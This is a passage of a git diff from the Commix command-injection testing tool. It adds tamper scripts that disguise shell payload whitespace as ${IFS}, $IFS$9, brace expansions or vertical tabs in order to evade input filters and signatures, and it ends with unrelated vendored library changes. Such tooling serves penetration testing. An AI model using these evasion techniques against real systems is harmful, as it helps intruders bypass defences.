single space left behind is all a filter needs: closing it +up is safe here and nowhere else, because what now ends the command is the '}' of a brace list, +where a digit would have turned '1 >file' into a redirection of the first file descriptor. + +Where the payload itself begins is command position only inside a substitution. At the top level +that is the parameter's own value, still carrying whatever the target expects there, and a run +started on it would take that value into the command name. +""" +BRACE_RUN = r"(?P<lead>%s[ ]*)(?P<run>[^\s;&|`\n<>]+(?:[ ][^\s;&|`\n<>]+)+)(?P<gap>[ ]*)(?=$|[;&|`\n<>])" +BRACE_RUN_LEAD = r"[;&|`\n]" +BRACE_RUN_LEAD_NESTED = r"(?:^|[;&|`\n])" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def _brace_run(match): + """ + One command written as a brace expansion, or left as it was where it cannot be. + + The shell splits '{a,b,c}' on the commas and on nothing else, so every word has to already be + one word, and a single word would not expand at all. A word the shell has to read exactly as it + was written is left alone, for the reason 'tamper_word_kept' gives. + """ + words = match.group("run").split(settings.SINGLE_WHITESPACE) + if len(words) < 2 or not all(re.match(BRACE_SAFE_WORD, word) for word in words): + return match.group(0) + if any(checks.tamper_word_kept(word) for word in words): + return match.group(0) + return match.group("lead") + "{" + ",".join(words) + "}" + +# Every command in one span of shell code, written as a brace expansion. +def _brace_runs(text, nested): + return re.sub(BRACE_RUN % (BRACE_RUN_LEAD_NESTED if nested else BRACE_RUN_LEAD), _brace_run, text) + +# Hand each command over as a brace expansion, for the target's shell to split back on the commas. +def tamper(payload): + # A target settled as Windows after this script was accepted: 'cmd.exe' has no brace expansion. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + return checks.tamper_shell_spans(payload, _brace_runs) + +# eof diff --git a/src/tamper/whitespace/posix/space2ifs.py b/src/tamper/whitespace/posix/space2ifs.py new file mode 100644 index 0000000000..0684a6f35d --- /dev/null +++ b/src/tamper/whitespace/posix/space2ifs.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces space character (' ') with the internal field separator ($IFS) in a given payload. +The internal field separator refers to a variable which defines the character +or characters used to separate a pattern into tokens for some operations. +Notes: This tamper script works against target(s) with a POSIX shell. '${IFS}' is a separator only + once the shell has expanded it and split what it expanded, so where that is not what happens + - beside a keyword, after a command's own assignments, or inside a quoted literal - the + request writes a tab in its place, or leaves the whitespace as it was. +""" + +__tamper__ = "space2ifs" +__priority__ = settings.PRIORITY.LOWER +space2ifs = "${IFS}" + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Separate the payload's words with '${IFS}' instead of a space. +""" +What this script settles before any payload is built, rather than when it first rewrites one. + +Called once while the scripts are being settled. 'tamper()' calls it too, so a choice that has to +follow a target settled later - an OS, or a technique that has since been refused - still follows it. +""" +def declare(): + if len(settings.WHITESPACES) != 0: + # Three states, not two: the technique is None until it has run, and that counts as not + # having been refused - so this asks whether it failed, rather than whether it succeeded. + if space2ifs in settings.WHITESPACES[0] and settings.EVAL_BASED_STATE is not False: + settings.WHITESPACES[0] = space2ifs + if settings.TARGET_OS != settings.OS.WINDOWS: + if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: + settings.WHITESPACES[0] = space2ifs + elif space2ifs not in settings.WHITESPACES: + settings.WHITESPACES.append(space2ifs) + # A target settled as Windows after this script was accepted: '${IFS}' means nothing to + # cmd.exe, and taking back the only entry would leave the payload's words with nothing at all + # between them - so the plain space it was built with goes back in its place. + else: + if space2ifs in settings.WHITESPACES: + settings.WHITESPACES.remove(space2ifs) + if len(settings.WHITESPACES) == 0: + settings.WHITESPACES.append(settings.SINGLE_WHITESPACE) + + +def tamper(payload): + declare() + return payload + +# eof diff --git a/src/tamper/whitespace/posix/space2ifsraw.py b/src/tamper/whitespace/posix/space2ifsraw.py new file mode 100644 index 0000000000..a24a9142f7 --- /dev/null +++ b/src/tamper/whitespace/posix/space2ifsraw.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces space character (' ') with '$IFS$9' (no braces, no quotes) in a given payload. +Notes: This tamper script works against target(s) with a POSIX shell, for a filter that also blocks + curly braces and quotes - where 'space2ifs' ('${IFS}') and 'space2brace' both need a + character this kind of filter takes away. '$9' is an empty positional parameter in an + ordinary run, so it contributes nothing beyond ending the '$IFS' expansion cleanly: without + it, '$IFS' run straight into a following letter, digit or underscore would be read as a + longer, different (and empty) variable name instead. It is a separator only once the shell + has expanded it and split what it expanded, so where that is not what happens - beside a + keyword, after a command's own assignments, in front of a digit, or inside a quoted literal + - the request writes a tab in its place, or leaves the whitespace as it was. +References: [1] https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners +""" + +__tamper__ = "space2ifsraw" +__priority__ = settings.PRIORITY.LOWER +space2ifsraw = "$IFS$9" + +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Separate the payload's words with '$IFS$9' instead of a space. +""" +What this script settles before any payload is built, rather than when it first rewrites one. + +Called once while the scripts are being settled. 'tamper()' calls it too, so a choice that has to +follow a target settled later - an OS, or a technique that has since been refused - still follows it. +""" +def declare(): + if settings.TARGET_OS != settings.OS.WINDOWS and len(settings.WHITESPACES) != 0: + if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: + settings.WHITESPACES[0] = space2ifsraw + elif space2ifsraw not in settings.WHITESPACES: + settings.WHITESPACES.append(space2ifsraw) + + +def tamper(payload): + declare() + return payload + +# eof diff --git a/src/tamper/whitespace/posix/space2randomblank.py b/src/tamper/whitespace/posix/space2randomblank.py new file mode 100644 index 0000000000..1a818c93b1 --- /dev/null +++ b/src/tamper/whitespace/posix/space2randomblank.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +import random +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces every occurrence of the payload's own whitespace with one drawn independently from a + small set of equivalents, rather than the one substitute every other space2* script settles + on for the whole payload. +Notes: This tamper script works against target(s) with a POSIX shell. + Where one of the two expansions would not be read as the gap it stands for - beside a + keyword, after a command's own assignments, or, for '$IFS$9', in front of a digit - the tab + goes in instead, 'tamper_blank_allowed' being what settles which. A whitespace inside a + double-quoted literal is left alone altogether: there it is a character of the string rather + than the gap between two words, and none of these equivalents is that same one character. +""" + +__tamper__ = "space2randomblank" +__priority__ = settings.PRIORITY.LOWER + +_BLANKS = (checks.TAMPER_PARSED_BLANK, "${IFS}", "$IFS$9") + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_unix_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Rules out whichever choices would misparse here, and picks randomly among what is left. Where +# that is none of them the tab goes in, which 'tamper_blank_allowed' never rules out. +def _blank_for(part, start, end): + choices = tuple(blank for blank in _BLANKS if checks.tamper_blank_allowed(blank, part, start, end)) + return random.choice(choices or (checks.TAMPER_PARSED_BLANK,)) + +# Every occurrence of the current separator, each replaced with its own independent pick - so a +# signature over one consistent telltale substitute never sees the same one twice in a row. +def tamper(payload): + # A target settled as Windows after this script was accepted: the blanks this draws from are not all separators to 'cmd.exe'. + if settings.TARGET_OS == settings.OS.WINDOWS: + return payload + if len(settings.WHITESPACES) == 0: + return payload + current = settings.WHITESPACES[0] + if not current: + return payload + pattern = re.escape(current) + def _replace(part): + return re.sub(pattern, lambda match: _blank_for(part, match.start(), match.end()), part) + return checks.tamper_outside_quoted_text(payload, _replace) + +# eof diff --git a/src/tamper/whitespace/windows/__init__.py b/src/tamper/whitespace/windows/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/whitespace/windows/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/whitespace/windows/space2vtab.py b/src/tamper/whitespace/windows/space2vtab.py new file mode 100644 index 0000000000..b0f08e6be7 --- /dev/null +++ b/src/tamper/whitespace/windows/space2vtab.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Replaces space character (' ') with vertical tab (%0b) in a given payload. +Notes: This tamper script works against Windows targets. +""" + +__tamper__ = "space2vtab" +__priority__ = settings.PRIORITY.LOWER +space2vtab = "\v" + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_windows_only(__tamper__) + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Separate the payload's words with a vertical tab instead of a space. +""" +What this script settles before any payload is built, rather than when it first rewrites one. + +Called once while the scripts are being settled. 'tamper()' calls it too, so a choice that has to +follow a target settled later - an OS, or a technique that has since been refused - still follows it. +""" +def declare(): + if len(settings.WHITESPACES) != 0: + if settings.TARGET_OS == settings.OS.WINDOWS: + if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: + settings.WHITESPACES[0] = space2vtab + elif space2vtab not in settings.WHITESPACES: + settings.WHITESPACES.append(space2vtab) + # The mirror of the above: a target settled as POSIX after this script was accepted, where + # taking back the only entry would leave nothing separating the payload's words. + else: + if space2vtab in settings.WHITESPACES: + settings.WHITESPACES.remove(space2vtab) + if len(settings.WHITESPACES) == 0: + settings.WHITESPACES.append(settings.SINGLE_WHITESPACE) + + +def tamper(payload): + declare() + return payload + +# eof diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py index b50e6972c9..de196a7f70 100644 --- a/src/thirdparty/__init__.py +++ b/src/thirdparty/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/thirdparty/beautifulsoup/__init__.py b/src/thirdparty/beautifulsoup/__init__.py index b50e6972c9..81b1ece759 100644 --- a/src/thirdparty/beautifulsoup/__init__.py +++ b/src/thirdparty/beautifulsoup/__init__.py @@ -2,15 +2,83 @@ # encoding: UTF-8 """ -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Beautiful Soup +Elixir and Tonic +"The Screen-Scraper's Friend" +http://www.crummy.com/software/BeautifulSoup/ -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. +Beautiful Soup parses a (possibly invalid) XML or HTML document into a +tree representation. It provides methods and Pythonic idioms that make +it easy to navigate, search, and modify the tree. + +A well-formed XML/HTML document yields a well-formed data +structure. An ill-formed XML/HTML document yields a correspondingly +ill-formed data structure. If your document is only locally +well-formed, you can use this library to find and process the +well-formed part of it. + +Beautiful Soup works with Python 2.2 and up. It has no external +dependencies, but you'll have more success at converting data to UTF-8 +if you also install these three packages: + +* chardet, for auto-detecting character encodings + http://chardet.feedparser.org/ +* cjkcodecs and iconv_codec, which add more encodings to the ones supported + by stock Python. + http://cjkpython.i18n.org/ + +Beautiful Soup defines classes for two main parsing strategies: + + * BeautifulStoneSoup, for parsing XML, SGML, or your domain-specific + language that kind of looks like XML. + + * BeautifulSoup, for parsing run-of-the-mill HTML code, be it valid + or invalid. This class has web browser-like heuristics for + obtaining a sensible parse tree in the face of common HTML errors. + +Beautiful Soup also defines a class (UnicodeDammit) for autodetecting +the encoding of an HTML or XML document, and converting it to +Unicode. Much of this code is taken from Mark Pilgrim's Universal Feed Parser. + +For more than you ever wanted to know about Beautiful Soup, see the +documentation: +http://www.crummy.com/software/BeautifulSoup/documentation.html + +Here, have some legalese: + +Copyright (c) 2004-2010, Leonard Richardson + +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following + disclaimer in the documentation and/or other materials provided + with the distribution. + + * Neither the name of the the Beautiful Soup Consortium and All + Night Kosher Bakery nor the names of its contributors may be + used to endorse or promote products derived from this software + without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, +EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT. -For more see the file 'readme/COPYING' for copying permission. """ pass \ No newline at end of file diff --git a/src/thirdparty/beautifulsoup/beautifulsoup.py b/src/thirdparty/beautifulsoup/beautifulsoup.py index 5e78f5decb..b12ce641b2 100644 --- a/src/thirdparty/beautifulsoup/beautifulsoup.py +++ b/src/thirdparty/beautifulsoup/beautifulsoup.py @@ -58,7 +58,7 @@ disclaimer in the documentation and/or other materials provided with the distribution. - * Neither the name of the the Beautiful Soup Consortium and All + * Neither the name of the Beautiful Soup Consortium and All Night Kosher Bakery nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. @@ -85,7 +85,6 @@ __license__ = "New-style BSD" import codecs -import types import re import sys @@ -107,10 +106,11 @@ except NameError: from sets import Set as set -try: - import sgmllib -except ImportError: - from src.utils import sgmllib +from src.utils import sgmllib +# try: +# import sgmllib +# except ImportError: +# from src.utils import sgmllib try: import markupbase @@ -643,6 +643,9 @@ def __nonzero__(self): "A tag is non-None even if it has no contents." return True + # Alias __bool__ for Python 3 to prevent empty tags from being dropped. + __bool__ = __nonzero__ + def __setitem__(self, key, value): """Setting tag[key] sets the value of the 'key' attribute for the tag.""" @@ -2029,6 +2032,5 @@ def _ebcdic_to_ascii(self, s): #By default, act as an HTML pretty-printer. if __name__ == '__main__': - import sys soup = BeautifulSoup(sys.stdin) print(soup.prettify()) diff --git a/src/thirdparty/chardet/__init__.py b/src/thirdparty/chardet/__init__.py new file mode 100644 index 0000000000..80ad2546d7 --- /dev/null +++ b/src/thirdparty/chardet/__init__.py @@ -0,0 +1,83 @@ +######################## BEGIN LICENSE BLOCK ######################## +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + + +from .universaldetector import UniversalDetector +from .enums import InputState +from .version import __version__, VERSION + + +__all__ = ['UniversalDetector', 'detect', 'detect_all', '__version__', 'VERSION'] + + +def detect(byte_str): + """ + Detect the encoding of the given byte string. + + :param byte_str: The byte sequence to examine. + :type byte_str: ``bytes`` or ``bytearray`` + """ + if not isinstance(byte_str, bytearray): + if not isinstance(byte_str, bytes): + raise TypeError('Expected object of type bytes or bytearray, got: ' + '{}'.format(type(byte_str))) + else: + byte_str = bytearray(byte_str) + detector = UniversalDetector() + detector.feed(byte_str) + return detector.close() + + +def detect_all(byte_str): + """ + Detect all the possible encodings of the given byte string. + + :param byte_str: The byte sequence to examine. + :type byte_str: ``bytes`` or ``bytearray`` + """ + if not isinstance(byte_str, bytearray): + if not isinstance(byte_str, bytes): + raise TypeError('Expected object of type bytes or bytearray, got: ' + '{}'.format(type(byte_str))) + else: + byte_str = bytearray(byte_str) + + detector = UniversalDetector() + detector.feed(byte_str) + detector.close() + + if detector._input_state == InputState.HIGH_BYTE: + results = [] + for prober in detector._charset_probers: + if prober.get_confidence() > detector.MINIMUM_THRESHOLD: + charset_name = prober.charset_name + lower_charset_name = prober.charset_name.lower() + # Use Windows encoding name instead of ISO-8859 if we saw any + # extra Windows-specific bytes + if lower_charset_name.startswith('iso-8859'): + if detector._has_win_bytes: + charset_name = detector.ISO_WIN_MAP.get(lower_charset_name, + charset_name) + results.append({ + 'encoding': charset_name, + 'confidence': prober.get_confidence(), + 'language': prober.language, + }) + if len(results) > 0: + return sorted(results, key=lambda result: -result['confidence']) + + return [detector.result] diff --git a/src/thirdparty/chardet/big5freq.py b/src/thirdparty/chardet/big5freq.py new file mode 100644 index 0000000000..38f32517aa --- /dev/null +++ b/src/thirdparty/chardet/big5freq.py @@ -0,0 +1,386 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Communicator client code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# Big5 frequency table +# by Taiwan's Mandarin Promotion Council +# <http://www.edu.tw:81/mandr/> +# +# 128 --> 0.42261 +# 256 --> 0.57851 +# 512 --> 0.74851 +# 1024 --> 0.89384 +# 2048 --> 0.97583 +# +# Ideal Distribution Ratio = 0.74851/(1-0.74851) =2.98 +# Random Distribution Ration = 512/(5401-512)=0.105 +# +# Typical Distribution Ratio about 25% of Ideal one, still much higher than RDR + +BIG5_TYPICAL_DISTRIBUTION_RATIO = 0.75 + +#Char to FreqOrder table +BIG5_TABLE_SIZE = 5376 + +BIG5_CHAR_TO_FREQ_ORDER = ( + 1,1801,1506, 255,1431, 198, 9, 82, 6,5008, 177, 202,3681,1256,2821, 110, # 16 +3814, 33,3274, 261, 76, 44,2114, 16,2946,2187,1176, 659,3971, 26,3451,2653, # 32 +1198,3972,3350,4202, 410,2215, 302, 590, 361,1964, 8, 204, 58,4510,5009,1932, # 48 + 63,5010,5011, 317,1614, 75, 222, 159,4203,2417,1480,5012,3555,3091, 224,2822, # 64 +3682, 3, 10,3973,1471, 29,2787,1135,2866,1940, 873, 130,3275,1123, 312,5013, # 80 +4511,2052, 507, 252, 682,5014, 142,1915, 124, 206,2947, 34,3556,3204, 64, 604, # 96 +5015,2501,1977,1978, 155,1991, 645, 641,1606,5016,3452, 337, 72, 406,5017, 80, # 112 + 630, 238,3205,1509, 263, 939,1092,2654, 756,1440,1094,3453, 449, 69,2987, 591, # 128 + 179,2096, 471, 115,2035,1844, 60, 50,2988, 134, 806,1869, 734,2036,3454, 180, # 144 + 995,1607, 156, 537,2907, 688,5018, 319,1305, 779,2145, 514,2379, 298,4512, 359, # 160 +2502, 90,2716,1338, 663, 11, 906,1099,2553, 20,2441, 182, 532,1716,5019, 732, # 176 +1376,4204,1311,1420,3206, 25,2317,1056, 113, 399, 382,1950, 242,3455,2474, 529, # 192 +3276, 475,1447,3683,5020, 117, 21, 656, 810,1297,2300,2334,3557,5021, 126,4205, # 208 + 706, 456, 150, 613,4513, 71,1118,2037,4206, 145,3092, 85, 835, 486,2115,1246, # 224 +1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,5022,2128,2359, 347,3815, 221, # 240 +3558,3135,5023,1956,1153,4207, 83, 296,1199,3093, 192, 624, 93,5024, 822,1898, # 256 +2823,3136, 795,2065, 991,1554,1542,1592, 27, 43,2867, 859, 139,1456, 860,4514, # 272 + 437, 712,3974, 164,2397,3137, 695, 211,3037,2097, 195,3975,1608,3559,3560,3684, # 288 +3976, 234, 811,2989,2098,3977,2233,1441,3561,1615,2380, 668,2077,1638, 305, 228, # 304 +1664,4515, 467, 415,5025, 262,2099,1593, 239, 108, 300, 200,1033, 512,1247,2078, # 320 +5026,5027,2176,3207,3685,2682, 593, 845,1062,3277, 88,1723,2038,3978,1951, 212, # 336 + 266, 152, 149, 468,1899,4208,4516, 77, 187,5028,3038, 37, 5,2990,5029,3979, # 352 +5030,5031, 39,2524,4517,2908,3208,2079, 55, 148, 74,4518, 545, 483,1474,1029, # 368 +1665, 217,1870,1531,3138,1104,2655,4209, 24, 172,3562, 900,3980,3563,3564,4519, # 384 + 32,1408,2824,1312, 329, 487,2360,2251,2717, 784,2683, 4,3039,3351,1427,1789, # 400 + 188, 109, 499,5032,3686,1717,1790, 888,1217,3040,4520,5033,3565,5034,3352,1520, # 416 +3687,3981, 196,1034, 775,5035,5036, 929,1816, 249, 439, 38,5037,1063,5038, 794, # 432 +3982,1435,2301, 46, 178,3278,2066,5039,2381,5040, 214,1709,4521, 804, 35, 707, # 448 + 324,3688,1601,2554, 140, 459,4210,5041,5042,1365, 839, 272, 978,2262,2580,3456, # 464 +2129,1363,3689,1423, 697, 100,3094, 48, 70,1231, 495,3139,2196,5043,1294,5044, # 480 +2080, 462, 586,1042,3279, 853, 256, 988, 185,2382,3457,1698, 434,1084,5045,3458, # 496 + 314,2625,2788,4522,2335,2336, 569,2285, 637,1817,2525, 757,1162,1879,1616,3459, # 512 + 287,1577,2116, 768,4523,1671,2868,3566,2526,1321,3816, 909,2418,5046,4211, 933, # 528 +3817,4212,2053,2361,1222,4524, 765,2419,1322, 786,4525,5047,1920,1462,1677,2909, # 544 +1699,5048,4526,1424,2442,3140,3690,2600,3353,1775,1941,3460,3983,4213, 309,1369, # 560 +1130,2825, 364,2234,1653,1299,3984,3567,3985,3986,2656, 525,1085,3041, 902,2001, # 576 +1475, 964,4527, 421,1845,1415,1057,2286, 940,1364,3141, 376,4528,4529,1381, 7, # 592 +2527, 983,2383, 336,1710,2684,1846, 321,3461, 559,1131,3042,2752,1809,1132,1313, # 608 + 265,1481,1858,5049, 352,1203,2826,3280, 167,1089, 420,2827, 776, 792,1724,3568, # 624 +4214,2443,3281,5050,4215,5051, 446, 229, 333,2753, 901,3818,1200,1557,4530,2657, # 640 +1921, 395,2754,2685,3819,4216,1836, 125, 916,3209,2626,4531,5052,5053,3820,5054, # 656 +5055,5056,4532,3142,3691,1133,2555,1757,3462,1510,2318,1409,3569,5057,2146, 438, # 672 +2601,2910,2384,3354,1068, 958,3043, 461, 311,2869,2686,4217,1916,3210,4218,1979, # 688 + 383, 750,2755,2627,4219, 274, 539, 385,1278,1442,5058,1154,1965, 384, 561, 210, # 704 + 98,1295,2556,3570,5059,1711,2420,1482,3463,3987,2911,1257, 129,5060,3821, 642, # 720 + 523,2789,2790,2658,5061, 141,2235,1333, 68, 176, 441, 876, 907,4220, 603,2602, # 736 + 710, 171,3464, 404, 549, 18,3143,2398,1410,3692,1666,5062,3571,4533,2912,4534, # 752 +5063,2991, 368,5064, 146, 366, 99, 871,3693,1543, 748, 807,1586,1185, 22,2263, # 768 + 379,3822,3211,5065,3212, 505,1942,2628,1992,1382,2319,5066, 380,2362, 218, 702, # 784 +1818,1248,3465,3044,3572,3355,3282,5067,2992,3694, 930,3283,3823,5068, 59,5069, # 800 + 585, 601,4221, 497,3466,1112,1314,4535,1802,5070,1223,1472,2177,5071, 749,1837, # 816 + 690,1900,3824,1773,3988,1476, 429,1043,1791,2236,2117, 917,4222, 447,1086,1629, # 832 +5072, 556,5073,5074,2021,1654, 844,1090, 105, 550, 966,1758,2828,1008,1783, 686, # 848 +1095,5075,2287, 793,1602,5076,3573,2603,4536,4223,2948,2302,4537,3825, 980,2503, # 864 + 544, 353, 527,4538, 908,2687,2913,5077, 381,2629,1943,1348,5078,1341,1252, 560, # 880 +3095,5079,3467,2870,5080,2054, 973, 886,2081, 143,4539,5081,5082, 157,3989, 496, # 896 +4224, 57, 840, 540,2039,4540,4541,3468,2118,1445, 970,2264,1748,1966,2082,4225, # 912 +3144,1234,1776,3284,2829,3695, 773,1206,2130,1066,2040,1326,3990,1738,1725,4226, # 928 + 279,3145, 51,1544,2604, 423,1578,2131,2067, 173,4542,1880,5083,5084,1583, 264, # 944 + 610,3696,4543,2444, 280, 154,5085,5086,5087,1739, 338,1282,3096, 693,2871,1411, # 960 +1074,3826,2445,5088,4544,5089,5090,1240, 952,2399,5091,2914,1538,2688, 685,1483, # 976 +4227,2475,1436, 953,4228,2055,4545, 671,2400, 79,4229,2446,3285, 608, 567,2689, # 992 +3469,4230,4231,1691, 393,1261,1792,2401,5092,4546,5093,5094,5095,5096,1383,1672, # 1008 +3827,3213,1464, 522,1119, 661,1150, 216, 675,4547,3991,1432,3574, 609,4548,2690, # 1024 +2402,5097,5098,5099,4232,3045, 0,5100,2476, 315, 231,2447, 301,3356,4549,2385, # 1040 +5101, 233,4233,3697,1819,4550,4551,5102, 96,1777,1315,2083,5103, 257,5104,1810, # 1056 +3698,2718,1139,1820,4234,2022,1124,2164,2791,1778,2659,5105,3097, 363,1655,3214, # 1072 +5106,2993,5107,5108,5109,3992,1567,3993, 718, 103,3215, 849,1443, 341,3357,2949, # 1088 +1484,5110,1712, 127, 67, 339,4235,2403, 679,1412, 821,5111,5112, 834, 738, 351, # 1104 +2994,2147, 846, 235,1497,1881, 418,1993,3828,2719, 186,1100,2148,2756,3575,1545, # 1120 +1355,2950,2872,1377, 583,3994,4236,2581,2995,5113,1298,3699,1078,2557,3700,2363, # 1136 + 78,3829,3830, 267,1289,2100,2002,1594,4237, 348, 369,1274,2197,2178,1838,4552, # 1152 +1821,2830,3701,2757,2288,2003,4553,2951,2758, 144,3358, 882,4554,3995,2759,3470, # 1168 +4555,2915,5114,4238,1726, 320,5115,3996,3046, 788,2996,5116,2831,1774,1327,2873, # 1184 +3997,2832,5117,1306,4556,2004,1700,3831,3576,2364,2660, 787,2023, 506, 824,3702, # 1200 + 534, 323,4557,1044,3359,2024,1901, 946,3471,5118,1779,1500,1678,5119,1882,4558, # 1216 + 165, 243,4559,3703,2528, 123, 683,4239, 764,4560, 36,3998,1793, 589,2916, 816, # 1232 + 626,1667,3047,2237,1639,1555,1622,3832,3999,5120,4000,2874,1370,1228,1933, 891, # 1248 +2084,2917, 304,4240,5121, 292,2997,2720,3577, 691,2101,4241,1115,4561, 118, 662, # 1264 +5122, 611,1156, 854,2386,1316,2875, 2, 386, 515,2918,5123,5124,3286, 868,2238, # 1280 +1486, 855,2661, 785,2216,3048,5125,1040,3216,3578,5126,3146, 448,5127,1525,5128, # 1296 +2165,4562,5129,3833,5130,4242,2833,3579,3147, 503, 818,4001,3148,1568, 814, 676, # 1312 +1444, 306,1749,5131,3834,1416,1030, 197,1428, 805,2834,1501,4563,5132,5133,5134, # 1328 +1994,5135,4564,5136,5137,2198, 13,2792,3704,2998,3149,1229,1917,5138,3835,2132, # 1344 +5139,4243,4565,2404,3580,5140,2217,1511,1727,1120,5141,5142, 646,3836,2448, 307, # 1360 +5143,5144,1595,3217,5145,5146,5147,3705,1113,1356,4002,1465,2529,2530,5148, 519, # 1376 +5149, 128,2133, 